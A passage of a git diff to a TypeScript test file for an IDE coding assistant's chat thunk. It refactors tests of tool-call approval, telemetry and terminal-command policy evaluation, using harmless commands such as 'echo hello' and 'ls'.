mockStoreWithManualApproval.getActions(); expect(dispatchedActions).toEqual([ { type: "chat/streamResponse/pending", @@ -1696,7 +795,7 @@ describe("streamResponseThunk - tool calls", () => { id: "tool-approval-1", type: "function", function: { - name: "search_codebase", + name: grepName, arguments: JSON.stringify({ query: "test function" }), }, }, @@ -1710,6 +809,7 @@ describe("streamResponseThunk - tool calls", () => { { completion: "I'll search the codebase for you.", modelProvider: "anthropic", + modelTitle: "Claude 3.5 Sonnet", prompt: "Please search the codebase", }, ], @@ -1718,7 +818,7 @@ describe("streamResponseThunk - tool calls", () => { type: "session/setToolGenerated", payload: { toolCallId: "tool-approval-1", - tools: [], + tools: [grepTool], }, }, { @@ -1754,7 +854,7 @@ describe("streamResponseThunk - tool calls", () => { arg: expect.objectContaining({ history: expect.any(Array), sessionId: "session-123", - title: "New Session", + title: "Session summary", workspaceDirectory: "", }), requestId: expect.any(String), @@ -1766,7 +866,7 @@ describe("streamResponseThunk - tool calls", () => { type: "session/updateSessionMetadata", payload: { sessionId: "session-123", - title: "New Session", + title: "Session summary", }, }, { @@ -1784,16 +884,7 @@ describe("streamResponseThunk - tool calls", () => { }, { type: "session/setAllSessionMetadata", - payload: { - compiledChatMessages: [ - { - content: "Please search the codebase", - role: "user", - }, - ], - contextPercentage: 0.9, - didPrune: false, - }, + payload: [], }, { type: "session/refreshMetadata/fulfilled", @@ -1802,16 +893,7 @@ describe("streamResponseThunk - tool calls", () => { requestId: expect.any(String), requestStatus: "fulfilled", }, - payload: { - compiledChatMessages: [ - { - content: "Please search the codebase", - role: "user", - }, - ], - contextPercentage: 0.9, - didPrune: false, - }, + payload: [], }, { type: "session/update/fulfilled", @@ -1819,7 +901,7 @@ describe("streamResponseThunk - tool calls", () => { arg: expect.objectContaining({ history: expect.any(Array), sessionId: "session-123", - title: "New Session", + title: "Session summary", workspaceDirectory: "", }), requestId: expect.any(String), @@ -1863,44 +945,37 @@ describe("streamResponseThunk - tool calls", () => { ]); // Verify IDE messenger calls - compilation should happen, streaming should happen - expect(mockIdeMessengerManual.request).toHaveBeenCalledWith( - "llm/compileChat", - { - messages: [ - { - role: "system", - content: "You are a helpful assistant.", - }, - { - role: "user", - content: [ - { - type: "text", - text: "Please search the codebase", - }, - ], - }, - { - role: "user", - content: [ - { - type: "text", - text: "Hello, please help me with this code", - }, - ], - }, - ], - options: { - reasoning: false, + expect(requestSpy).toHaveBeenCalledWith("llm/compileChat", { + messages: [ + { + role: "system", + content: "You are a helpful assistant.", }, - }, - ); + { + role: "user", + content: [ + { + type: "text", + text: "Please search the codebase", + }, + ], + }, + { + role: "user", + content: [ + { + type: "text", + text: "Hello, please help me with this code", + }, + ], + }, + ], + options: { tools: [grepTool] }, + }); expect(mockIdeMessengerManual.llmStreamChat).toHaveBeenCalledWith( { - completionOptions: { - reasoning: false, - }, + completionOptions: { tools: [grepTool] }, legacySlashCommandData: undefined, messageOptions: { precompiled: true }, messages: [ @@ -1915,21 +990,20 @@ describe("streamResponseThunk - tool calls", () => { ); // Should NOT call tools/call since tool requires approval - expect(mockIdeMessengerManual.request).not.toHaveBeenCalledWith( + expect(requestSpy).not.toHaveBeenCalledWith( "tools/call", expect.anything(), ); // Verify session save was called - expect(mockIdeMessengerManual.request).toHaveBeenCalledWith( - "history/save", - expect.anything(), - ); + expect(requestSpy).toHaveBeenCalledWith("history/save", expect.anything()); // Verify final state contains the tool call in "generated" state (waiting for approval) const finalState = mockStoreWithManualApproval.getState(); expect(finalState).toEqual({ + ...initialState, session: { + ...initialState.session, history: [ { contextItems: [], @@ -1961,7 +1035,7 @@ describe("streamResponseThunk - tool calls", () => { id: "tool-approval-1", type: "function", function: { - name: "search_codebase", + name: grepName, arguments: JSON.stringify({ query: "test function" }), }, }, @@ -1971,6 +1045,7 @@ describe("streamResponseThunk - tool calls", () => { { completion: "I'll search the codebase for you.", modelProvider: "anthropic", + modelTitle: "Claude 3.5 Sonnet", prompt: "Please search the codebase", }, ], @@ -1981,219 +1056,84 @@ describe("streamResponseThunk - tool calls", () => { id: "tool-approval-1", type: "function", function: { - name: "search_codebase", + name: grepName, arguments: JSON.stringify({ query: "test function" }), }, }, parsedArgs: { query: "test function" }, status: "generated", // Waiting for user approval + tool: grepTool, }, ], }, ], - hasReasoningEnabled: false, - isStreaming: false, - id: "session-123", - mode: "chat", streamAborter: expect.any(AbortController), contextPercentage: 0.9, isPruned: false, - isInEdit: false, - title: "New Session", - lastSessionId: undefined, - isSessionMetadataLoading: false, - allSessionMetadata: { - compiledChatMessages: [ - { - content: "Please search the codebase", - role: "user", - }, - ], - contextPercentage: 0.9, - didPrune: false, - }, - symbols: {}, - codeBlockApplyStates: { - states: [], - curIndex: 0, - }, - newestToolbarPreviewForInput: {}, - compactionLoading: {}, + title: "Session summary", inlineErrorMessage: undefined, }, - config: { - config: { - tools: [], - rules: [], - tabAutocompleteModel: undefined, - selectedModelByRole: { - chat: mockClaudeModel, - apply: null, - edit: null, - summarize: null, - autocomplete: null, - rerank: null, - embed: null, - }, - experimental: { - onlyUseSystemMessageTools: false, - }, - }, - lastSelectedModelByRole: { - chat: mockClaudeModel.title, - }, - loading: false, - configError: undefined, - }, ui: { + ...initialState.ui, toolSettings: { - search_codebase: "askFirst", + [grepName]: "allowedWithPermission", }, - ruleSettings: {}, - showDialog: false, - dialogMessage: undefined, - }, - editModeState: { - isInEdit: false, - returnToMode: "chat", - }, - indexing: { - indexing: { - statuses: {}, - hiddenChatPeekTypes: { - docs: false, - }, - }, - }, - tabs: { - tabsItems: [], - }, - profiles: { - organizations: [], - selectedProfileId: null, - selectedOrganizationId: null, - preferencesByProfileId: {}, }, }); }); it("should handle complete user approval and tool execution flow", async () => { - const { mockStore, mockIdeMessenger } = setupTest(); - // Create store with tool settings that require manual approval - const mockStoreWithApproval = createMockStore({ - session: { - history: [ - { - message: { - id: "1", - role: "user", - content: "Please search the codebase for test functions", - }, - contextItems: [], - }, - ], - hasReasoningEnabled: false, - isStreaming: true, - id: "session-123", - mode: "chat", - streamAborter: new AbortController(), - contextPercentage: 0, - isPruned: false, - isInEdit: false, - title: "", - lastSessionId: undefined, - isSessionMetadataLoading: false, - allSessionMetadata: [], - symbols: {}, - codeBlockApplyStates: { - states: [], - curIndex: 0, + const initialState = getRootStateWithClaude(); + initialState.session.history = [ + { + message: { + id: "1", + role: "user", + content: "Please search the codebase for test functions", }, - newestToolbarPreviewForInput: {}, - compactionLoading: {}, - inlineErrorMessage: undefined, + contextItems: [], }, - config: { - config: { - tools: [], - rules: [], - tabAutocompleteModel: undefined, - selectedModelByRole: { - chat: mockClaudeModel, - apply: null, - edit: null, - summarize: null, - autocomplete: null, - rerank: null, - embed: null, - }, - experimental: { - onlyUseSystemMessageTools: false, - }, - } as any, - lastSelectedModelByRole: { - chat: mockClaudeModel.title, - }, - } as any, - ui: { - toolSettings: { - search_codebase: "askFirst", // Requires manual approval - }, - ruleSettings: {}, - showDialog: false, - dialogMessage: undefined, - } as any, - }); + ]; + initialState.ui.toolSettings = { + [grepName]: "allowedWithPermission", // Requires manual approval + }; + initialState.session.id = "session-123"; + initialState.config.config.tools = [grepTool]; + const mockStoreWithApproval = createMockStore(initialState); const mockIdeMessengerApproval = mockStoreWithApproval.mockIdeMessenger; - // Setup successful compilation - mockIdeMessengerApproval.request.mockImplementation( - (endpoint: string, data: any) => { - if (endpoint === "llm/compileChat") { - return Promise.resolve({ - status: "success", - content: { - compiledChatMessages: [ - { - role: "user", - content: "Please search the codebase for test functions", - }, - ], - didPrune: false, - contextPercentage: 0.85, - }, - }); - } else if (endpoint === "tools/call") { - // Mock server-side tool call response for search_codebase - return Promise.resolve({ - status: "success", - content: { - contextItems: [ - { - name: "Search Results", - description: "Found test functions", - content: - "function testUserLogin() {...}\\nfunction testDataValidation() {...}", - icon: "search", - hidden: false, - }, - ], - errorMessage: undefined, - }, - }); - } else if (endpoint === "history/save") { - return Promise.resolve({ status: "success" }); - } else if (endpoint === "history/list") { - return Promise.resolve({ status: "success", content: [] }); - } - return Promise.resolve({ status: "success", content: {} }); - }, - ); + mockIdeMessengerApproval.responses["llm/compileChat"] = { + compiledChatMessages: [ + { + role: "user", + content: "Please search the codebase for test functions", + }, + ], + didPrune: false, + contextPercentage: 0.85, + }; + + mockIdeMessengerApproval.responses["tools/call"] = { + contextItems: [ + { + name: "Search Results", + description: "Found test functions", + content: + "function testUserLogin() {...}\\nfunction testDataValidation() {...}", + icon: "search", + hidden: false, + }, + ], + errorMessage: undefined, + }; // Setup streaming generator with tool call - async function* mockStreamGeneratorWithApprovalFlow() { + async function* mockStreamGeneratorWithApprovalFlow(): AsyncGenerator< + AssistantChatMessage[], + PromptLog + > { yield [ { role: "assistant", @@ -2209,7 +1149,7 @@ describe("streamResponseThunk - tool calls", () => { id: "tool-approval-flow-1", type: "function", function: { - name: "search_codebase", + name: grepName, arguments: JSON.stringify({ query: "test function" }), }, }, @@ -2220,19 +1160,23 @@ describe("streamResponseThunk - tool calls", () => { prompt: "Please search the codebase for test functions", completion: "I'll search for test functions in the codebase.", modelProvider: "anthropic", + modelTitle: "Claude 3.5 Sonnet", }; } // Mock subsequent streaming calls (after tool execution) let streamCallCount = 0; - mockIdeMessengerApproval.llmStreamChat.mockImplementation(() => { + const mockChat = vi.fn().mockImplementation(() => { streamCallCount++; if (streamCallCount === 1) { // First call - initial streaming with tool call return mockStreamGeneratorWithApprovalFlow(); } else { // Subsequent calls from streamResponseAfterToolCall - async function* followupGenerator() { + async function* followupGenerator(): AsyncGenerator< + AssistantChatMessage[], + PromptLog + > { yield [ { role: "assistant", @@ -2245,28 +1189,32 @@ describe("streamResponseThunk - tool calls", () => { completion: "I found several test functions in your codebase. Here are the main ones I discovered...", modelProvider: "anthropic", + modelTitle: "Claude 3.5 Sonnet", }; } return followupGenerator(); } }); + mockIdeMessengerApproval.llmStreamChat = mockChat; + const requestSpy = vi.spyOn(mockIdeMessengerApproval, "request"); // Track isStreaming state changes throughout the entire test const streamingStateChanges: boolean[] = []; - let lastStreamingState = - mockStoreWithApproval.getState().session.isStreaming; + let lastStreamingState = (mockStoreWithApproval.getState() as RootState) + .session.isStreaming; const originalDispatch = mockStoreWithApproval.dispatch; - mockStoreWithApproval.dispatch = ((action: any) => { + mockStoreWithApproval.dispatch = (action: any) => { const result = originalDispatch(action); - const currentStreamingState = - mockStoreWithApproval.getState().session.isStreaming; + const currentStreamingState = ( + mockStoreWithApproval.getState() as RootState + ).session.isStreaming; // Only record when the state actually changes if (currentStreamingState !== lastStreamingState) { streamingStateChanges.push(currentStreamingState); lastStreamingState = currentStreamingState; } return result; - }) as any; + }; // Execute initial thunk - this should generate the tool call but not execute it const initialResult = await mockStoreWithApproval.dispatch( @@ -2280,7 +1228,7 @@ describe("streamResponseThunk - tool calls", () => { expect(initialResult.type).toBe("chat/streamResponse/fulfilled"); // Verify exact initial action sequence by comparing action types - const initialActions = (mockStoreWithApproval as any).getActions(); + const initialActions = mockStoreWithApproval.getActions(); expect(initialActions).toEqual([ { @@ -2401,7 +1349,7 @@ describe("streamResponseThunk - tool calls", () => { id: "tool-approval-flow-1", type: "function", function: { - name: "search_codebase", + name: grepName, arguments: JSON.stringify({ query: "test function" }), }, }, @@ -2415,6 +1363,7 @@ describe("streamResponseThunk - tool calls", () => { { completion: "I'll search for test functions in the codebase.", modelProvider: "anthropic", + modelTitle: "Claude 3.5 Sonnet", prompt: "Please search the codebase for test functions", }, ], @@ -2423,7 +1372,7 @@ describe("streamResponseThunk - tool calls", () => { type: "session/setToolGenerated", payload: { toolCallId: "tool-approval-flow-1", - tools: [], + tools: [grepTool], }, }, { @@ -2459,7 +1408,7 @@ describe("streamResponseThunk - tool calls", () => { arg: expect.objectContaining({ history: expect.any(Array), sessionId: "session-123", - title: "New Session", + title: "Session summary", workspaceDirectory: "", }), requestId: expect.any(String), @@ -2471,7 +1420,7 @@ describe("streamResponseThunk - tool calls", () => { type: "session/updateSessionMetadata", payload: { sessionId: "session-123", - title: "New Session", + title: "Session summary", }, }, { @@ -2506,7 +1455,7 @@ describe("streamResponseThunk - tool calls", () => { arg: expect.objectContaining({ history: expect.any(Array), sessionId: "session-123", - title: "New Session", + title: "Session summary", workspaceDirectory: "", }), requestId: expect.any(String), @@ -2550,7 +1499,7 @@ describe("streamResponseThunk - tool calls", () => { ]); // Clear the actions array to track only the approval flow - (mockStoreWithApproval as any).clearActions(); + mockStoreWithApproval.clearActions(); // Import the callToolById thunk to simulate user approval const { callToolById } = await import("./callToolById"); @@ -2564,7 +1513,7 @@ describe("streamResponseThunk - tool calls", () => { expect(approvalResult.type).toBe("chat/callTool/fulfilled"); // Verify exact approval flow actions - const approvalActions = (mockStoreWithApproval as any).getActions(); + const approvalActions = mockStoreWithApproval.getActions(); expect(approvalActions).toEqual([ { type: "chat/callTool/pending", @@ -2603,6 +1552,7 @@ describe("streamResponseThunk - tool calls", () => { type: "chat/streamAfterToolCall/pending", meta: { arg: { + depth: 1, toolCallId: "tool-approval-flow-1", }, requestId: expect.any(String), @@ -2637,7 +1587,7 @@ describe("streamResponseThunk - tool calls", () => { { type: "chat/streamNormalInput/pending", meta: { - arg: {}, + arg: { depth: 2 }, requestId: expect.any(String), requestStatus: "pending", }, @@ -2683,6 +1633,7 @@ describe("streamResponseThunk - tool calls", () => { completion: "I found several test functions in your codebase. Here are the main ones I discovered...", modelProvider: "anthropic", + modelTitle: "Claude 3.5 Sonnet", prompt: "continuing after tool execution", }, ], @@ -2694,7 +1645,7 @@ describe("streamResponseThunk - tool calls", () => { { type: "chat/streamNormalInput/fulfilled", meta: { - arg: {}, + arg: { depth: 2 }, requestId: expect.any(String), requestStatus: "fulfilled", }, @@ -2718,7 +1669,7 @@ describe("streamResponseThunk - tool calls", () => { arg: expect.objectContaining({ history: expect.any(Array), sessionId: "session-123", - title: "New Session", + title: "Session summary", workspaceDirectory: "", }), requestId: expect.any(String), @@ -2730,7 +1681,7 @@ describe("streamResponseThunk - tool calls", () => { type: "session/updateSessionMetadata", payload: { sessionId: "session-123", - title: "New Session", + title: "Session summary", }, }, { @@ -2765,7 +1716,7 @@ describe("streamResponseThunk - tool calls", () => { arg: expect.objectContaining({ history: expect.any(Array), sessionId: "session-123", - title: "New Session", + title: "Session summary", workspaceDirectory: "", }), requestId: expect.any(String), @@ -2798,6 +1749,7 @@ describe("streamResponseThunk - tool calls", () => { type: "chat/streamAfterToolCall/fulfilled", meta: { arg: { + depth: 1, toolCallId: "tool-approval-flow-1", }, requestId: expect.any(String), @@ -2819,38 +1771,35 @@ describe("streamResponseThunk - tool calls", () => { // Verify telemetry events for manual approval flow // Use partial matching to allow additional fields (e.g. model) in payload expect(mockPosthog.capture).toHaveBeenCalledWith( - "gui_tool_call_decision", + "tool_call_decision", expect.objectContaining({ decision: "accept", - toolName: "search_codebase", + toolName: grepName, toolCallId: "tool-approval-flow-1", }), ); expect(mockPosthog.capture).toHaveBeenCalledWith( - "gui_tool_call_outcome", + "tool_call_outcome", expect.objectContaining({ succeeded: true, - toolName: "search_codebase", - errorMessage: undefined, + toolName: grepName, + errorReason: undefined, duration_ms: expect.any(Number), }), ); // Verify IDE messenger calls for tool execution - expect(mockIdeMessengerApproval.request).toHaveBeenCalledWith( - "tools/call", - { - toolCall: { - id: "tool-approval-flow-1", - type: "function", - function: { - name: "search_codebase", - arguments: JSON.stringify({ query: "test function" }), - }, + expect(requestSpy).toHaveBeenCalledWith("tools/call", { + toolCall: { + id: "tool-approval-flow-1", + type: "function", + function: { + name: grepName, + arguments: JSON.stringify({ query: "test function" }), }, }, - ); + }); // Verify second streaming call was made for continuation expect(streamCallCount).toBe(2); @@ -2858,7 +1807,10 @@ describe("streamResponseThunk - tool calls", () => { // Verify final state shows completed tool call and follow-up response const finalState = mockStoreWithApproval.getState(); expect(finalState).toEqual({ + ...initialState, session: { + ...initialState.session, + title: "Session summary", history: [ { contextItems: [], @@ -2890,7 +1842,7 @@ describe("streamResponseThunk - tool calls", () => { id: "tool-approval-flow-1", type: "function", function: { - name: "search_codebase", + name: grepName, arguments: JSON.stringify({ query: "test function" }), }, }, @@ -2900,6 +1852,7 @@ describe("streamResponseThunk - tool calls", () => { { completion: "I'll search for test functions in the codebase.", modelProvider: "anthropic", + modelTitle: "Claude 3.5 Sonnet", prompt: "Please search the codebase for test functions", }, ], @@ -2910,7 +1863,7 @@ describe("streamResponseThunk - tool calls", () => { id: "tool-approval-flow-1", type: "function", function: { - name: "search_codebase", + name: grepName, arguments: JSON.stringify({ query: "test function" }), }, }, @@ -2926,6 +1879,7 @@ describe("streamResponseThunk - tool calls", () => { hidden: false, }, ], + tool: grepTool, }, ], }, @@ -2953,201 +1907,78 @@ describe("streamResponseThunk - tool calls", () => { completion: "I found several test functions in your codebase. Here are the main ones I discovered...", modelProvider: "anthropic", + modelTitle: "Claude 3.5 Sonnet", prompt: "continuing after tool execution", }, ], }, ], - hasReasoningEnabled: false, isStreaming: false, // Inactive after complete flow id: "session-123", - mode: "chat", streamAborter: expect.any(AbortController), contextPercentage: 0.85, - isPruned: false, - isInEdit: false, - title: "New Session", - lastSessionId: undefined, - isSessionMetadataLoading: false, - allSessionMetadata: [], - symbols: {}, - codeBlockApplyStates: { - states: [], - curIndex: 0, - }, - newestToolbarPreviewForInput: {}, - compactionLoading: {}, inlineErrorMessage: undefined, - }, - config: { - config: { - tools: [], - rules: [], - tabAutocompleteModel: undefined, - selectedModelByRole: { - chat: mockClaudeModel, - apply: null, - edit: null, - summarize: null, - autocomplete: null, - rerank: null, - embed: null, - }, - experimental: { - onlyUseSystemMessageTools: false, - }, - }, - lastSelectedModelByRole: { - chat: mockClaudeModel.title, - }, - loading: false, - configError: undefined, + isPruned: false, }, ui: { + ...initialState.ui, toolSettings: { - search_codebase: "askFirst", + [grepName]: "allowedWithPermission", }, - ruleSettings: {}, - showDialog: false, - dialogMessage: undefined, - }, - editModeState: { - isInEdit: false, - returnToMode: "chat", - }, - indexing: { - indexing: { - statuses: {}, - hiddenChatPeekTypes: { - docs: false, - }, - }, - }, - tabs: { - tabsItems: [], - }, - profiles: { - organizations: [], - selectedProfileId: null, - selectedOrganizationId: null, - preferencesByProfileId: {}, }, }); }); describe("dynamic policy evaluation", () => { it("should call tools/evaluatePolicy with correct parameters", async () => { - const mockStore = createMockStore({ - session: { - history: [ - { - message: { id: "1", role: "user", content: "Run echo hello" }, - contextItems: [], - }, - ], - hasReasoningEnabled: false, - isStreaming: true, - id: "session-123", - mode: "chat", - streamAborter: new AbortController(), - contextPercentage: 0, - isPruned: false, - isInEdit: false, - title: "", - lastSessionId: undefined, - isSessionMetadataLoading: false, - allSessionMetadata: [], - symbols: {}, - codeBlockApplyStates: { - states: [], - curIndex: 0, - }, - newestToolbarPreviewForInput: {}, - compactionLoading: {}, - inlineErrorMessage: undefined, + const initialState = getRootStateWithClaude(); + initialState.session.history = [ + { + message: { id: "1", role: "user", content: "Run echo hello" }, + contextItems: [], }, - config: { - config: { - tools: [], - rules: [], - tabAutocompleteModel: undefined, - selectedModelByRole: { - chat: mockClaudeModel, - apply: null, - edit: null, - summarize: null, - autocomplete: null, - rerank: null, - embed: null, - }, - experimental: { - onlyUseSystemMessageTools: false, - }, - } as any, - lastSelectedModelByRole: { - chat: mockClaudeModel.title, - }, - } as any, - ui: { - toolSettings: { - run_terminal_command: "allowedWithoutPermission", - }, - ruleSettings: {}, - showDialog: false, - dialogMessage: undefined, - } as any, - } as any); + ]; + initialState.ui.toolSettings = { + [terminalName]: "allowedWithoutPermission", + }; + initialState.config.config.tools = [grepTool]; + const mockStore = createMockStore(initialState); const mockIdeMessenger = mockStore.mockIdeMessenger; - - // Simple mock - just return a different policy for testing - mockIdeMessenger.request.mockImplementation( - (endpoint: string, data: any) => { - if (endpoint === "tools/evaluatePolicy") { - // For this test, simulate that echo commands require permission - if (data.args.command?.toLowerCase().startsWith("echo")) { - return Promise.resolve({ - status: "success", - content: { policy: "allowedWithPermission" }, - }); - } - return Promise.resolve({ - status: "success", - content: { policy: data.basePolicy }, - }); - } else if (endpoint === "llm/compileChat") { - return Promise.resolve({ - status: "success", - content: { - compiledChatMessages: [ - { role: "user", content: "Run echo hello" }, - ], - didPrune: false, - contextPercentage: 0.5, - }, - }); - } else if (endpoint === "history/save") { - return Promise.resolve({ status: "success" }); - } else if (endpoint === "history/list") { - return Promise.resolve({ status: "success", content: [] }); - } - return Promise.resolve({ status: "success", content: {} }); - }, - ); - + mockIdeMessenger.responseHandlers["tools/evaluatePolicy"] = async ( + data, + ) => { + if ( + "command" in data.parsedArgs && + typeof data.parsedArgs.command === "string" && + data.parsedArgs.command?.toLowerCase().startsWith("echo") + ) { + return { policy: "allowedWithPermission" }; + } + return { policy: data.basePolicy }; + }; + mockIdeMessenger.responses["llm/compileChat"] = { + compiledChatMessages: [{ role: "user", content: "Run echo hello" }], + didPrune: false, + contextPercentage: 0.5, + }; // Setup streaming with echo command (should require permission despite auto-approve base) - async function* mockStreamWithEcho() { + async function* mockStreamWithEcho(): AsyncGenerator< + AssistantChatMessage[], + PromptLog + > { yield [{ role: "assistant", content: "I'll run the echo command." }]; + const toolId = `tool-echo-${Date.now()}`; yield [ { role: "assistant", content: "", toolCalls: [ { - id: "tool-echo-1", + id: toolId, type: "function", function: { - name: "run_terminal_command", + name: terminalName, arguments: JSON.stringify({ command: "echo hello" }), }, }, @@ -3158,10 +1989,13 @@ describe("streamResponseThunk - tool calls", () => { prompt: "Run echo hello", completion: "I'll run the echo command.", modelProvider: "anthropic", + modelTitle: "Claude 3.5 Sonnet", }; } - mockIdeMessenger.llmStreamChat.mockReturnValue(mockStreamWithEcho()); + const mockChat = vi.fn().mockReturnValue(mockStreamWithEcho()); + mockIdeMessenger.llmStreamChat = mockChat; + const requestSpy = vi.spyOn(mockIdeMessenger, "request"); // Execute thunk await mockStore.dispatch( @@ -3169,129 +2003,82 @@ describe("streamResponseThunk - tool calls", () => { editorState: mockEditorState, modifiers: mockModifiers, }) as any, - ); - - // Just verify the call was made with correct params - expect(mockIdeMessenger.request).toHaveBeenCalledWith( - "tools/evaluatePolicy", - expect.objectContaining({ - toolName: "run_terminal_command", - basePolicy: "allowedWithoutPermission", - args: { command: "echo hello" }, - }), - ); + ), + // Just verify the call was made with correct params + expect(requestSpy).toHaveBeenCalledWith( + "tools/evaluatePolicy", + expect.objectContaining({ + toolName: terminalName, + basePolicy: "allowedWithoutPermission", + parsedArgs: { command: "echo hello" }, + }), + ); // Verify tool wasn't auto-executed (policy changed to require permission) - expect(mockIdeMessenger.request).not.toHaveBeenCalledWith( + expect(requestSpy).not.toHaveBeenCalledWith( "tools/call", expect.any(Object), ); }); it("should respect disabled policy", async () => { - const mockStore = createMockStore({ - session: { - history: [ - { - message: { id: "1", role: "user", content: "Run ls" }, - contextItems: [], - }, - ], - hasReasoningEnabled: false, - isStreaming: true, - id: "session-123", - mode: "chat", - streamAborter: new AbortController(), - contextPercentage: 0, - isPruned: false, - isInEdit: false, - title: "", - lastSessionId: undefined, - isSessionMetadataLoading: false, - allSessionMetadata: [], - symbols: {}, - codeBlockApplyStates: { - states: [], - curIndex: 0, - }, - newestToolbarPreviewForInput: {}, - compactionLoading: {}, - inlineErrorMessage: undefined, + const initialState = getRootStateWithClaude(); + initialState.session.history = [ + { + message: { id: "1", role: "user", content: "Run ls" }, + contextItems: [], }, - config: { - config: { - tools: [], - rules: [], - tabAutocompleteModel: undefined, - selectedModelByRole: { - chat: mockClaudeModel, - apply: null, - edit: null, - summarize: null, - autocomplete: null, - rerank: null, - embed: null, - }, - experimental: { - onlyUseSystemMessageTools: false, - }, - } as any, - lastSelectedModelByRole: { - chat: mockClaudeModel.title, - }, - } as any, - ui: { - toolSettings: { - run_terminal_command: "disabled", // Tool is disabled - }, - ruleSettings: {}, - showDialog: false, - dialogMessage: undefined, - } as any, - } as any); - + ]; + initialState.ui.toolSettings = { + [terminalName]: "allowedWithPermission", + }; + initialState.config.config.tools = [terminalTool]; + const mockStore = createMockStore(initialState); const mockIdeMessenger = mockStore.mockIdeMessenger; + const requestSpy = vi.spyOn(mockIdeMessenger, "request"); // Simple mock - just return disabled policy - mockIdeMessenger.request.mockImplementation( - (endpoint: string, data: any) => { - if (endpoint === "tools/evaluatePolicy") { - // Backend should respect disabled state - return Promise.resolve({ - status: "success", - content: { policy: "disabled" }, - }); - } else if (endpoint === "llm/compileChat") { - return Promise.resolve({ - status: "success", - content: { - compiledChatMessages: [{ role: "user", content: "Run ls" }], - didPrune: false, - contextPercentage: 0.5, - }, - }); - } else if (endpoint === "history/save") { - return Promise.resolve({ status: "success" }); - } else if (endpoint === "history/list") { - return Promise.resolve({ status: "success", content: [] }); - } - return Promise.resolve({ status: "success", content: {} }); - }, - ); - - // Setup streaming with regular command - async function* mockStreamWithLs() { + mockIdeMessenger.responseHandlers["llm/compileChat"] = async (data) => { + const history = (mockStore.getState() as RootState).session.history; + return { + compiledChatMessages: [ + ...history.map((i) => i.message), + { role: "user", content: "Run ls" }, + ], + didPrune: false, + contextPercentage: 0.5, + }; + }; + let numCalls = 0; + mockIdeMessenger.responseHandlers["tools/evaluatePolicy"] = async ( + data, + ) => { + numCalls++; + if (numCalls <= 1) { + return { + policy: "disabled", + }; + } + return { + policy: "allowedWithPermission", + }; + }; + async function* mockStreamWithLs(): AsyncGenerator< + AssistantChatMessage[], + PromptLog + > { yield [{ role: "assistant", content: "I'll list the files." }]; + const id = `tool-ls-${(() => Date.now())()}`; yield [ { role: "assistant", content: "", toolCalls: [ { - id: "tool-ls-1", + id, type: "function", function: { - name: "run_terminal_command", + name: terminalName, arguments: JSON.stringify({ command: "ls" }), }, }, @@ -3302,10 +2089,12 @@ describe("streamResponseThunk - tool calls", () => { prompt: "Run ls", completion: "I'll list the files.", modelProvider: "anthropic", + modelTitle: "Claude 3.5 Sonnet", }; } - mockIdeMessenger.llmStreamChat.mockReturnValue(mockStreamWithLs()); + const mockChat = vi.fn().mockImplementation(() => mockStreamWithLs()); + mockIdeMessenger.llmStreamChat = mockChat; // Execute thunk await mockStore.dispatch( @@ -3313,116 +2102,93 @@ describe("streamResponseThunk - tool calls", () => { editorState: mockEditorState, modifiers: mockModifiers, }) as any, - ); + ), + // Verify tools/evaluatePolicy was called + expect(requestSpy).toHaveBeenCalledWith( + "tools/evaluatePolicy", + expect.objectContaining({ + toolName: terminalName, + basePolicy: "allowedWithPermission", + parsedArgs: { command: "ls" }, + }), + ); - // Verify tools/evaluatePolicy was called - expect(mockIdeMessenger.request).toHaveBeenCalledWith( - "tools/evaluatePolicy", - expect.objectContaining({ - toolName: "run_terminal_command", - basePolicy: "disabled", - args: { command: "ls" }, - }), - ); - - // Tool should NOT be executed since it's disabled - expect(mockIdeMessenger.request).not.toHaveBeenCalledWith( + // Tool should NOT be executed since it's disabled by policy + expect(requestSpy).not.toHaveBeenCalledWith( "tools/call", expect.any(Object), ); + + const state = mockStore.getState() as RootState; + expect(state.ui.dialogMessage).toBeUndefined(); }); it("should handle evaluation errors gracefully", async () => { - const mockStore = createMockStore({ - session: { - history: [ - { - message: { id: "1", role: "user", content: "Do something" }, - contextItems: [], - }, - ], - hasReasoningEnabled: false, - isStreaming: true, - id: "session-123", - mode: "chat", - streamAborter: new AbortController(), - contextPercentage: 0, - isPruned: false, - isInEdit: false, - title: "", - lastSessionId: undefined, - isSessionMetadataLoading: false, - allSessionMetadata: [], - symbols: {}, - codeBlockApplyStates: { - states: [], - curIndex: 0, - }, - newestToolbarPreviewForInput: {}, - compactionLoading: {}, - inlineErrorMessage: undefined, + const initialState = getRootStateWithClaude(); + initialState.session.history = [ + { + message: { id: "1", role: "user", content: "Do something" }, + contextItems: [], }, - config: { - config: { - tools: [], - rules: [], - tabAutocompleteModel: undefined, - selectedModelByRole: { - chat: mockClaudeModel, - apply: null, - edit: null, - summarize: null, - autocomplete: null, - rerank: null, - embed: null, - }, - experimental: { - onlyUseSystemMessageTools: false, - }, - } as any, - lastSelectedModelByRole: { - chat: mockClaudeModel.title, - }, - } as any, - ui: { - toolSettings: { - some_tool: "allowedWithoutPermission", - }, - ruleSettings: {}, - showDialog: false, - dialogMessage: undefined, - } as any, - } as any); + ]; + const someTool = { + ...grepTool, + function: { + ...grepTool.function, + name: "some_tool", + }, + }; + initialState.config.config.tools = [someTool]; + initialState.ui.toolSettings = { + some_tool: "allowedWithoutPermission", + }; + const mockStore = createMockStore(initialState); const mockIdeMessenger = mockStore.mockIdeMessenger; // Mock evaluation failure - mockIdeMessenger.request.mockImplementation((endpoint: string) => { + let numCalls = 0; + const requestSpy = vi.spyOn(mockIdeMessenger, "request"); + requestSpy.mockImplementation(async (endpoint, data) => { if (endpoint === "tools/evaluatePolicy") { - // Simulate evaluation error - return Promise.resolve({ - status: "error", - error: "Failed to evaluate policy", - }); - } else if (endpoint === "llm/compileChat") { - return Promise.resolve({ - status: "success", - content: { - compiledChatMessages: [{ role: "user", content: "Do something" }], - didPrune: false, - contextPercentage: 0.5, - }, - }); - } else if (endpoint === "history/save") { - return Promise.resolve({ status: "success" }); - } else if (endpoint === "history/list") { - return Promise.resolve({ status: "success", content: [] }); + numCalls++; + if (numCalls <= 1) { + // Simulate evaluation error + return { + done: true as const, + status: "error", + error: "Failed to evaluate policy", + }; + } else { + return { + done: true as const, + status: "success", + content: { + policy: "allowedWithPermission", + }, + }; + } } - return Promise.resolve({ status: "success", content: {} }); + mockIdeMessenger.responseHandlers["llm/compileChat"] = async (data) => { + const history = (mockStore.getState() as RootState).session.history; + return { + compiledChatMessages: [ + ...history.map((i) => i.message), + { role: "user", content: "Do something" }, + ], + didPrune: false, + contextPercentage: 0.5, + }; + }; + + return new MockIdeMessenger().request(endpoint, data); }); // 